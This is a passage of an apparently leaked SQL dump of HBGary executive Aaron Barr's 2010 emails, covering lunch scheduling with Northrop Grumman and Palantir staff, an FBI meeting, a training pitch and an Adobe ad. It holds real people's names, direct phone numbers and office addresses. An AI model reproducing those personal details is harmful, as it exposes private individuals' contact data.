---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11183,'aaron_hbgary_com/11183.html'),(11613,'2010-09-10','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297008737.M779120P14101Q6468.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch with Tom and son','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\nTom asked me to find out if you are going to be in the LX\r\narea anytime in early Oct to have lunch with his son Dan and him.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCould you send some dates?&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks much\r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd &nbsp;| Suite 2300\r\n&nbsp;| Arlington, VA 22209\r\n&nbsp;\r\nDo\r\ngood and don\'t worry to whom. &nbsp;&nbsp;&nbsp; \r\n--Mexican Proverb&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11223,'aaron_hbgary_com/11223.html'),(11614,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008738.M18695P14101Q6469.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Lunch with Tom and son','Sure.  That far out the only thong I have on my calendar is a presentation I will be giving in Columbia on Oct. 5th.Would that work?Aaron\r\nSent from my iPhoneOn Sep 10, 2010, at 12:36 PM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – \r\n\r\nTom asked me to find out if you are going to be in the LX\r\narea anytime in early Oct to have lunch with his son Dan and him.  \r\n\r\n \r\n\r\nCould you send some dates?  \r\n\r\n \r\n\r\nThanks much\r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300\r\n | Arlington, VA 22209\r\n \r\nDo\r\ngood and don&#39;t worry to whom.     \r\n--Mexican Proverb       \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3988,'aaron_hbgary_com/3988.html'),(11615,'2010-09-10','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297008738.M233634P14101Q6470.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Lunch with Tom and son','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about Friday October 8 at 11:30 in the LX cafeteria?\r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:09 PM\r\nTo: Robinson, Cassie\r\nSubject: EXTERNAL:Re: Lunch with Tom and son\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure. &nbsp;That far out the only thong I have on my\r\ncalendar is a presentation I will be giving in Columbia on Oct. 5th.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWould that work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 12:36 PM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; \r\n\r\nTom\r\nasked me to find out if you are going to be in the LX area anytime in early Oct\r\nto have lunch with his son Dan and him.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCould\r\nyou send some dates?&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\nmuch\r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie\r\nRobinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd &nbsp;| Suite 2300\r\n&nbsp;| Arlington, VA 22209\r\n&nbsp;\r\nDo\r\ngood and don\'t worry to whom. &nbsp;&nbsp;&nbsp; \r\n--Mexican Proverb&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8515,'aaron_hbgary_com/8515.html'),(11616,'2010-09-10','\"White, Scott (CO)\" <Scott.D.White@ngc.com>','/aaron@hbgary.com/new/1297008738.M483341P14101Q6471.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch:  Aaron Barr/Tom Conroy/Dan Conroy','\r\n\r\n\r\n\r\n\r\nLunch:  Aaron Barr/Tom Conroy/Dan Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, October 08, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: LX cafeteria.&nbsp; \r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',9305,'aaron_hbgary_com/9305.html'),(11617,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008738.M680423P14101Q6472.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FW: FBI Cyber Devision','Hi AaronGood to hear about FBI.  Verdasys is also in there and there is interest in the integration.... fyiNot sure if Cyber Division is who they are speaking with.  The JSOC is also testing Active Defense.\r\nOn Fri, Sep 10, 2010 at 4:29 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nFYI\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 9:36 PM\r\nTo: Bob Slapnik\r\nSubject: FBI Cyber Devision\r\n\r\nHey Bob,\r\n\r\nDon&#39;t think I told you yet.  I have a meeting on Wednesday with some folks\r\nthat lead up the Cyber Division at FBI to discuss attribution and how some\r\nof the stuff we are building and doing can help.  TMC, Fingerprint,\r\nPalantir, etc.  Will be similiar to the US-CERT talk today.\r\n\r\nAaron\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',4885,'aaron_hbgary_com/4885.html'),(11618,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008738.M895170P14101Q6473.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: FBI Cyber Devision','Is the FBI yours? &nbsp;I get confused. &nbsp;I\'ll keep you posted.AaronOn Sep 10, 2010, at 1:26 PM, Maria Lucas wrote:Hi AaronGood to hear about FBI. &nbsp;Verdasys is also in there and there is interest in the integration.... fyiNot sure if Cyber Division is who they are speaking with. &nbsp;The JSOC is also testing Active Defense.\r\nOn Fri, Sep 10, 2010 at 4:29 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nFYI\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 9:36 PM\r\nTo: Bob Slapnik\r\nSubject: FBI Cyber Devision\r\n\r\nHey Bob,\r\n\r\nDon\'t think I told you yet. &nbsp;I have a meeting on Wednesday with some folks\r\nthat lead up the Cyber Division at FBI to discuss attribution and how some\r\nof the stuff we are building and doing can help. &nbsp;TMC, Fingerprint,\r\nPalantir, etc. &nbsp;Will be similiar to the US-CERT talk today.\r\n\r\nAaron\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n\r\n',3663,'aaron_hbgary_com/3663.html'),(11619,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008739.M134088P14101Q6474.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FBI Cyber Devision','OK thanksOn Fri, Sep 10, 2010 at 10:30 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nIs the FBI yours?  I get confused.  I&#39;ll keep you posted.AaronOn Sep 10, 2010, at 1:26 PM, Maria Lucas wrote:\r\nHi AaronGood to hear about FBI.  Verdasys is also in there and there is interest in the integration.... fyiNot sure if Cyber Division is who they are speaking with.  The JSOC is also testing Active Defense.\r\n\r\nOn Fri, Sep 10, 2010 at 4:29 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nFYI\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 9:36 PM\r\nTo: Bob Slapnik\r\nSubject: FBI Cyber Devision\r\n\r\nHey Bob,\r\n\r\nDon&#39;t think I told you yet.  I have a meeting on Wednesday with some folks\r\nthat lead up the Cyber Division at FBI to discuss attribution and how some\r\nof the stuff we are building and doing can help.  TMC, Fingerprint,\r\nPalantir, etc.  Will be similiar to the US-CERT talk today.\r\n\r\nAaron\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',10896,'aaron_hbgary_com/10896.html'),(11620,'2010-09-10','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008739.M376709P14101Q6475.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s do Wed.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 10:40 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n9/13 is bad I will be in Denver Mon/Tues. &nbsp;I can do Wed\r\nor Fri. &nbsp;Always up for lunch at your place. :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?&nbsp; Want to come for lunch?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 10:10 AM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSure thing, just send me a note. &nbsp;I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.&nbsp; I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s sync up when I get back from India.&nbsp; This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject:&nbsp;Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and understanding\r\nquickly as the commercial social media platforms provide to much easy\r\nopportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3142,'aaron_hbgary_com/3142.html'),(11621,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008739.M612684P14101Q6476.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Great. &nbsp;I have a meeting in Mclean with FBI Cyber Division at 1:30 sooo good segway. &nbsp;How about 11:30?AaronOn Sep 10, 2010, at 1:56 PM, Matthew Steckman wrote:Let’s do Wed.&nbsp;&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 09, 2010 10:40 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Social Media, Exploitation, and Persistent Internet Operations&nbsp;9/13 is bad I will be in Denver Mon/Tues. &nbsp;I can do Wed or Fri. &nbsp;Always up for lunch at your place. :)&nbsp;Aaron&nbsp;On Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:How does 9/13 work for you?&nbsp; Want to come for lunch?&nbsp;&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 10:10 AMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Sure thing, just send me a note. &nbsp;I have never been to India but I can imagine it has to be a bit crazy.&nbsp;Aaron&nbsp;On Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:Very nice.&nbsp; I might want to attend to check it out, maybe see how Palantir could fit into your thinking.&nbsp;Let’s sync up when I get back from India.&nbsp; This country is nuts, have you ever been?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.com&nbsp;&nbsp;',1916,'aaron_hbgary_com/1916.html'),(11622,'2010-09-10','\"Adobe Systems Incorporated\" <direct@adobesystems.com>','/aaron@hbgary.com/new/1297008739.M883183P14101Q6477.eml','aaron@hbgary.com','Simplify data capture with PDF forms.','\r\n\r\n\r\n\r\n\r\n	\r\n	 img { display:block; }\r\n	 a { text-decoration:underline; }\r\n	 br {clear:both; }\r\n	\r\n	\r\n\r\n\r\nWhen it comes to collecting information, we do the heavy lifting. Check it out.\r\n\r\n  \r\n    If this message is not displaying properly, click here to launch your browser.\r\n      \r\n  \r\n  \r\n    \r\n        \r\n          \r\n          \r\n        \r\n      \r\n  \r\n  \r\n    \r\n        \r\n          \r\n          \r\n              \r\n                \r\n              \r\n              \r\n                Acrobat Dynamic PDF for easy interactive forms.\r\n              \r\n              \r\n                \r\n              \r\n            \r\n        \r\n      \r\n  \r\n  \r\n    \r\n        \r\n          Adobe&#174; Acrobat&#174; 9 software quickly transforms any document into an interactive PDF form you can share online with anyone, anywhere. Even better, user responses are tracked and organized into one central location for easy analysis.\r\n        \r\n        \r\n          \r\n              \r\n                \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      The Form Wizard function automatically identifies form fields for both scanned files and electronic documents.\r\n                    \r\n                  \r\n                \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      There\'s no back-end work or programming involved, giving you the ability to create forms without the help of your IT team.\r\n                    \r\n                  \r\n                \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Incoming data is aggregated for you, making rekeying mistakes and time-consuming entry processes a thing of\r\n                        the past. \r\n                    \r\n                  \r\n              \r\n            \r\n        \r\n        \r\n          See how simple it really is &gt;\r\n        \r\n        \r\n          Sign up for our 30-day FREE trial &gt;\r\n        \r\n      \r\n  \r\n  \r\n    Adobe, the Adobe logo, and Acrobat are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. The names referred to in the sample artwork are fictional and not intended to refer to any actual organization or products. All other trademarks are the property of their respective owners.\r\n      \r\n      &#169; 2010 Adobe Systems Incorporated. All rights reserved.\r\n      \r\n      PLEASE DO NOT REPLY TO THIS MESSAGE. To obtain information on how to contact Adobe, visit the web at:\r\n      www.adobe.com/misc/comments.html, or call 800-833-6687.\r\n      \r\n      This is an advertising message from Adobe Systems Incorporated, its affiliates and agents (\"Adobe\"), 345 Park Avenue, San Jose, CA 95110 USA. If you\'d prefer not to receive e-mail like this from Adobe in the future, please click here to unsubscribe or send an e-mail to unsubscribe-na@adobesystems.com. Alternatively, you may mail your unsubscribe request to:\r\n      \r\n      Adobe Systems Incorporated\r\n      Attn: Change of Address/Privacy\r\n      343 Preston Street\r\n      Ottawa, ON K1S 1N4\r\n      Canada\r\n      \r\n      Your privacy is important to us. Please review Adobe\'s Online Privacy Policy by clicking here:\r\n      www.adobe.com/misc/privacy.html.\r\n  \r\n\r\n\r\n\r\n\r\n',12860,'aaron_hbgary_com/12860.html'),(11623,'2010-09-10','\"Lentz, Jason M\" <jason.m.lentz@lmco.com>','/aaron@hbgary.com/new/1297008740.M140670P14101Q6478.eml','\"Lentz, Jason M\" <jason.m.lentz@lmco.com>,\"Lentz, Jason M\" <jason.m.lentz@lmco.com>','Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information','Lockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin, such as business, financial or technical information, that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 